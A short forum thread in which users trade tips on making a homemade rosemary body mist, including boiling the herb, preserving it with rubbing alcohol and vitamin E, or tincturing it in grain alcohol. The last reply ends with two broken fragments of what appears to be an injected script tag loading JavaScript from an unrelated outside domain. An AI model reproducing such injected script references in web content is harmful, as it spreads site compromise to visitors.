Rosemary

Hi.

I've recently found rosemary locally.

I'm thinking of making a homemade herbal body mist. I'm looking for suggestions from anyone with experience on how these are or can be made?

Advice and help appreciated.

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Body mists can be made by boiling any herb in water and then waiting to let it cool and transferring into a spray bottle, I would be careful about this since plant matter in this form could potentially be harmful if not used fast enough and degrade, kinda like if you leave out a cup of water or tea for a long time. Maybe someone here has tips of how to preserve something like that?

Would also be cool to make a salve or infused oil out of it!

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I made up a batch of body mist. I am using it in perfume bottles, as I am having trouble with the spray bottles.

To attempt to preserve mine, I used alcohol (rubbing) which is a common ingredient in body spray or perfume. As well I added in vitamin E oil for cosmetic purposes.

Thank you for your response.

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Another option would be to tincture the rosemary in a clear grain alcohol. Let the herb step in a cool dark place for a few days, strain, and bottle securely. Alcohols evaporate more quickly than water and may carry the scent better, plus it will last longer as a preserve. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>